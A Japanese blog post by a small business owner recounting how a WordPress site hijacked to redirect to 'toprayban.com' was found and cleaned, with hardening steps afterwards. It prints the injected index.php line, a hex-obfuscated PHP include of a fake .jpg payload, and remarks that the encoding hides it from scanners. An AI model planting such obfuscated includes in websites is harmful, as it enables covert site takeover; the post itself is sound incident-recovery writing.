ようやく、解決できました
さて、先日来、頭を悩ませていた
サイトの「のっとられ」について、
先週末、7/6にようやく一応の解決に
至ることができました。
今日は、その報告をさせていただきたいと思います。
まずは把握できたトラブル内容の振り返りから。
- ■確認できたトラブル内容
- Google等の検索サイトのボットが、「toprayban.com」に誘導されていた。
- オーガニック検索からの流入が途絶え、サイトへのアクセス数が激減
- Googleの管理画面には、「toprayban.com」をブロックした表示が山のように…
そして、解決内容はこちら
- ■解決策
- index.phpを修正
- 埋め込まれていた偽jpgファイルを削除
気付いたきっかけは、Twitter
と、ここで話をさかのぼります。
というのも、最初は上記トラブルに
気が付いてなかったからです。
このトラブルに気が付いたきっかけは、
「Twitterへの投稿」でした。
Twitterをブラウザで開き、ブログの更新を
知らせるために、自社サイトへのリンクを
貼って投稿したところ、
Twitterカードが「toprayban.com」に
なっていたのです。
しかし、twitter投稿が自動的に転送される
Facebook側では、まったく異常なし!
ならばサイト自体は無事なのか?
(↑こう思ってしまったことが、初動の遅れを
招いた一因でした)
そこで、twitterアカウントの乗っ取り、
またはtwitter側での感染を疑った(前編参照)の
ですが、そうではありませんでした。
やはり、悪さされていたのは、
自社サイトに使っているWordpressの
方だったのです。
Facebook側の、リダイレクト対策が強固
であったためリンク表示に問題が現れなかった
だけだったようです。
困難を乗り越えた末のハイセキュリティが見事!
原因はセキュリティソフトが見つけたマルウェア……ではありませんでした
トラブルの発覚後、一人で混乱していた週末
(6/24、25)に、混乱したテンションのまま更新し
た「中編」では、2017年7月に、レンタルサーバー
業者が導入・リリースしていた有償のセキュリティ
サービス「Sitelock」を契約。
(↑ これ、もっとちゃんとアナウンスして!)
仕込まれていたマルウェア(6月4日のタイムスタン
プ)を発見して削除するところまで話が進みました。
マルウェアのファイル名は「modules.php」
/wp-includes/font/配下に置かれていました。
「ああ、やっぱりマルウェアがあったのか!」
と思いつつ、駆除が終わって一安心。
「さぁ、これで解決か!?」と思って、中編を
書くのを止めて、「後は解決編…」と思って確認を
開始したのですが、どうも様子がおかしい。
Twitterカードの不具合は、
まるで改称されていませんでした。
そして、ここまで来たところで、
エゴサーチして発見したのが、
「Googleの検索結果が乗っ取られている」という
衝撃の事実(重要報告編)でした。
救援を得て、本格的な対応を開始
ここに至ってようやく、冒頭に述べた「トラブル」の
根本に行き当たったのです。
いやー、長かった……。
ずーっといろんな画面とにらめっこしていたのですが
自分一人では、まったく解決の糸口もつかめずに
いたところ、私のSOSを不憫に思って、ある方が
7月2日に救援に来てくださりました。
早速検索していただいた「ほかの被害者によるブロ
グ」の数々を見て「index.phpの書き換えで落着して
いる案件がある」ことを知り、とりあえずindex.php
の名前を変更し、ダミーのindex.htmlをアップ。
それでも、何だか変化がない……。なぜだろう。
※でもこれ、不思議なんですけど、私のような素人が検索しても全然ヒットしないような記事も、詳しい人が検索すると、すぐに見つかるんですよね。やっぱり、検索に使用するワードを「知っているかどうか」が分かれ目何でしょうか。
ならば次!
以下、その方の振返りメモです。
まず、今回のWebの改竄では大きく以下の目的があると考えた。
- マルウェアに感染させる(これは実行形式だけではなく、JSやPHPなどのスクリプト、cssなどのウェブサイトを構成しインタプリターや他のアプリケーションで読み込まれるものも含む)
- 相手の情報を得る(例えば各種個人情報、オンラインバンクのID/PWDなど)
- 他のサイトへの誘導
このうち、明確に発生していたのは「3」。
「2」はなくて、」「1」は検査できていない。
そこで、マルウェアがサイトに混入しているかどうかの確認を最初に行った。しかし、マルウェアが存在する可能性のある場所が明確ではなかった。
wordpressがどのようにコンテンツを生成管理しているかがわからなかったからで、最終的にMySqlの削除を行うことを考えた。一方で、Googleの表示について、DNSの情報を改竄する高度な攻撃の可能性も考えたが、DNS改竄はアクセスの都度変化することはない、abc.jpを検索すればDNS改竄されている場合毎回同じもの(偽のページ)が表示されるはず。
また、GoogleのDNS、8.8.8.8を使用して参照しても表示に変化がなく、正常なページが表示されていたのでDNS改竄ではないと考えた。
7月2日のこの日、もっとも時間を要したのは
サーバーからデータをダウンロードすること
でした。
なので、ローカルへのデータバックアップは
もう少しきちんとやっていきたいと思います。
で、ダウンロードしたファイルをスキャンして
いただいたところ、「検知なし」。
うーん。
ならば、分からないように、
どこか書き換えられているのか…。
この日は、データダウンロードに時間が
かかり過ぎてタイムオーバーしてしまったので
また改めて検証することに。
しかし、phpのバージョンを最新版に更新する
などの対応も行っていただき、サイトの脆弱性は
少しずつ減少。
翌日になってMySQLのパスワードを変えたり、
連携を断ってみたりとジャブを出してみますが
特に決め手はつかめず。
と、やはりindex.phpが一番怪しいということで
ファイルを改めて開いて、一人にらめっこ……。
と、意味不明な文字列が、googleコンソールで
見た、謎のリダイレクト先に見えてきて……。
いろいろググっていたら、自分でも参考記事が
見つかりました!
こちら→ http://apple.problo.net/252.html
で、観るとうちのindex.phpにも、
@include(pack(‘H*’,’77702f77702d696e636c756465732f696d616765732f77702d736b696e2e6a7067′));
という記述!
この記事を参考にしながら同じように、
index.phpの怪しい文字列を、こちらのサイト
→16進数を文字列に自動変換&その逆をするツール
で変換すると……出てきましたよ。
このアドレスをたどって、ファイルを削除しますが
その前にローカルに落として中身を確認!
拡張子は「.jpg」を偽っていますが画像ファイルでは
ありません。テキストエディタで開くと、この通り↓
いやー、怖いですね。
index.phpを何とか書き換え、
偽の.jpgファイルを削除し、
とりあえず一件落着。
googleにサイトクロールのリクエストを出して、
検索結果がまともに表示されるようになった
ところまで確認しましたが、まだまだダメージの
回復には時間がかかります。
だって、2017年9月から地道に育ててきた
サイトへのアクセス数が、↓御覧の通り急降下。
これの回復にどれだけ時間がかかるのやら。
そして、弊社サイトの検索結果に
「モバイルフレンドリーではありません」
表記がつくようになったのですが、
Googleの管理画面から対象ページを確認
すると、ほとんどが「toprayban.com」!
これも時間が解決する?
今後の対処
まぁ、レンタルサーバー業者が提供する
共有サーバーは、脆弱性だらけです。
今後も、警戒が必須でしょう。
とりあえず今回施した対策の諸々を列記します。
- ■今回新たに施した諸々
- twitterの「ログイン認証」
- サイトへのSSL導入
- サーバーのセキュリティソフト契約
- サイトのphpバージョンアップ
- データのバックアップ
助けていただいた方からも、下記訓戒をいただきました。
今後の対処の考え方。
wordpress以外のプラグインやアプリが最新であれば、既知脆弱性を用いての改竄手法は封じることができる。
改竄検知機能が働いてくれれば、バックアップしておいた過去の安全な状態に戻してあげることで、今回のような長期にわたる作業は不要になるはず。
未知の攻撃での改竄は防ぎようがないので、基本的な対処としては、上記二点で堅実に守っていくこと。
まずはSitelockが、ファイルの更新があったことなど
も教えてくれるようになりましたので、一安心という
ところでしょうか。
オマケ:だからお前はすり抜けたのか…
さて、オマケです。
すべて片付いて、「良かった良かった」と
思ったのも束の間、Sitelockから
「マルウェアの発見と駆除」を知らせるメールが!
「えーーー、またかい!」と思って見に行くと
それは……私が、記述を間違えたindex.phpを
修正したよ、というものでした。
どういうことか?
実は、上述した、このコード ↓
@include(pack(‘H*’,’77702f77702d696e636c756465732f696d616765732f77702d736b696e2e6a7067′));
をただ消し去るだけでは、ダメだったんですね。
というのも、index.phpを書き換えた、
というより、「入れ替えられていた」ので
元々、サイトを作ってくれた人の書いた記述が
変えられていたからです。
なので……結構な時間悪戦苦闘しましたが、
見よう見まねで何とか復旧。
その時、何となく
@include(front-page.php);
という記述を入れてみたんですが、これが
目出度くマルウェア判定を受けたのだな、と。
だから、素直に
@include(wp/wp-includes/images/wp-skin.jpg);
なんて書いたら、すぐ発見・駆除されちゃうから
URLを16進法で変換したんだな! と。
そんなことに納得した今日この頃です。
お付き合いいただきありがとうございました。